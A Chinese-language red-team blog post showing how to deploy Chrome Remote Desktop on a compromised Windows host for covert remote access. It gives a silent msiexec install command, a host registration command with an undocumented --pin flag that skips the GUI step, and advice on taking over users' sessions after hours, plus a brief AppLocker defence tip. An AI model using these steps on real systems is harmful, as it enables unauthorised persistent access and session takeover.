红队行动中滥用Chrome远程桌面的实战指南
在本文中,我们将探讨在红队操作中滥用Chrome远程桌面(也称为Google远程桌面)的实用技术。由于客户限制或其他预防措施,我有时需要使用合法软件来实现目标。本文旨在突出如何在操作中实际使用Chrome远程桌面。
入门 – Chrome远程桌面
Chrome远程桌面本质上是一个软件,您可以从 https://remotedesktop.google.com/ 下载并安装在客户端上。安装和配置后,受感染的主机连接到服务器(云服务),您可以在Web门户中点击它以连接到它。整洁吗?我认为是的。在幕后,它使用Google开发的专有协议,内部称为Chromoting。根据我找到的信息,它通过HTTPS通信,并使用WebRTC传输数据。
开始使用Chrome远程桌面有哪些要求?您唯一需要的是一个Google账户,每个人都可以在这里免费创建。创建账户后,前往这里下载软件并开始使用。另一个要求是安装程序需要在客户端上具有本地管理员访问权限。
演练 – 部署它
以下是部署Chrome远程桌面的分步指南,并附带一些提示。
-
访问设置页面 第一步是导航到Chrome远程桌面设置页面,在“通过SSH设置”菜单选项下,点击开始,然后点击Windows的MSI文件以下载MSI文件。 图1 - 开始通过SSH设置
-
下载MSI文件 图2 - 下载MSI文件
-
运行安装程序 接下来,您需要在目标上安装MSI文件。如何执行此操作取决于您可能拥有的C2或其他访问权限。为简单起见,我将假设您可以运行直接命令,并提供典型的msiexec安装程序命令。(请记住,您需要本地管理员权限):
msiexec /i chromeremotedesktophost.msi /qn
-
启动Chrome远程桌面客户端 安装后,您可以返回Chrome远程桌面页面并点击下一步。向导将要求授权;点击授权按钮继续。 图3 - 授权
-
复制加入命令 在屏幕上,您应该看到两个(2)Windows命令和一个(1)Debian命令。复制Windows(Cmd)命令并将其粘贴到记事本中。我们将在发送到客户端之前向命令添加一些内容。 图4 - 复制命令
-
调整命令 您复制的命令应如下所示:
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME%
如果您运行此命令,问题是这需要在GUI中执行一个额外步骤,即添加PIN码。示例如下: 图5 - 命令要求PIN码 -
未文档化参数 为了克服这一点,我们可以使用一个未文档化的参数(我尚未找到相关文档)。未文档化的参数是
--pin=111111
。请注意,PIN码至少需要六(6)位数字。完整命令如下:"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111
运行时应如下所示: 图6 - 在命令中提供PIN码 -
连接到客户端 您现在应该看到客户端显示在Chrome远程桌面门户中。点击它,在提示时提供PIN码,并开始使用远程桌面 – 几乎像魔术一样。 图7 - 客户端在门户中可见
-
远程连接到客户端 图8 - 远程连接到客户端 您需要登录并接管用户的会话,因此您需要知道用户的密码或以其他用户身份登录。理想情况下,您应在接管桌面之前检查用户是否已回家。
结论
Chrome远程桌面确实需要一些工作才能运行,但在某些场景下进行红队操作时,它可以是一个非常有用的工具。Chrome远程桌面具有相当流畅的体验,远程连接时延迟很小。
对于防御者,我始终推荐使用AppLocker或其他批准列表解决方案来防止未经授权的软件安装。如果您想查看软件是否已在环境中安装,它称为Chrome远程桌面主机。 图9 - 在应用和功能中显示的Chrome桌面